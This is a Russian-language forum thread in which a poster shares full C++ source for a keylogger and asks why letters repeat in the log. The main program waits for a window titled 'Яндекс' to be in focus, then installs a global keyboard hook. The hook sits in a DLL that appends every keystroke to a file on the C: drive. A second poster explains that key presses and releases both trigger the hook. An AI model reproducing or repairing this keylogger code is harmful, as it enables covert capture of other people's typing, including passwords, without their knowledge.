В чем ошибка с клавиатурным шпионом

  • Автор темы Andreyspb
  • Дата начала
A

Andreyspb

Гость
#1
Написал шпиона на С++, который ищет, открыто ли окно, в котором пресудствует слово Яндекс, и если онон активно, то пишет данные, которые пользователь водит на клавиатуре в файл. В итоге получается, что каждая буква повотряется много раз. В чем ошибка, подскажите если кто знает.

Текст исполняемой программы:
[codebox]//chpion.cpp
//--------------------------
#include <vcl.h>
#include <condefs.h>
#include <winuser.h>
#include <winbase.h>
#include <stdio.h>
//---------------------------------------------------------------------------
HHOOK hook; // Handle нашей "шпионской" функции
void Registry(void);
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
// Объявляем тип функции;
typedef int (CALLBACK* lpfn)();
lpfn hookfunc; // Конкретный указатель на функцию
// Открываем DLL
HINSTANCE hDLL=LoadLibrary("dllhook.dll");
// Находим в ней адрес функции, которая и будет шпионить за клавой
hookfunc=(lpfn)GetProcAddress(hDLL,"KeyboardProc") ;
HINSTANCE hINSTAGE;
while (1)
{
//Запускаем цикл.
int sl,ll;
ll=1;
sl=2;
//переменные для счетчика.
char st[128];
HWND hw;
//Идем самым простым путем - сравниваем посимвольно строки: полученный заголовок окна и с нужном нам строкой.
while (ll!=sl)
{
// Функция GetForegroundWindow возвращает значение дескриптора приоритетного окна (окна, с которым пользователь в настоящее время работает).
hw=GetForegroundWindow();
//Функция GetWindowText предназначена для получения заголовка окна
GetWindowText(hw,st,128);// читаем активное на данный момент окно.
char stt[128]="Яндекс";
//находим длинну строки, которую ы указали для шаблона
sl=strlen(stt);
ll=0;
while (stt[ll]==st[ll])
//cравниваем посимвольно строки
//это удобнее делать с той позиции, что будет проверяться, вхордит ли нужная
//нам строка как часть в другую строку, можно сделать подобие //широкого фильтра.
{
ll++;
}
if (ll==sl)
{
//если строки совпадают до конца 1-ой строки -
break; //прерываем процесс
}
}
// Запускаем шпиона
hook=SetWindowsHookEx(WH_KEYBOARD, /* шпионить за клавиатурой */
hookfunc, /* функция, которая шпионит */
LoadLibrary("dllhook.dll"), /* её DLL */
0 /* Шпионить за всеми потоками в системе*/ );
}
}


ТЕКСТ DLL'ки:
#include <vcl.h>
#include <winuser.h>
#include <stdio.h>
#pragma hdrstop
//--------------------------
extern "C" __declspec(dllexport) LRESULT CALLBACK
KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
//--------------------------
// "Шпионская" функция
//--------------------------
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
FILE *f;
if((f=fopen("c:\\logfile.log","a"))!=NULL)
{
char codeklav=MapVirtualKey(wParam,2);
fprintf(f,"%c",codeklav);
fclose(f);
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void*)
{
return 1;
}[/codebox]
 
O

Ockonal

Гость
#2
Я код не смотрел, но уверен... Что ошибка из-за этого:
При нажатии клавиши генерируется 2 сообщения, нажатия и отпускания... Поэтому 2 раза вводится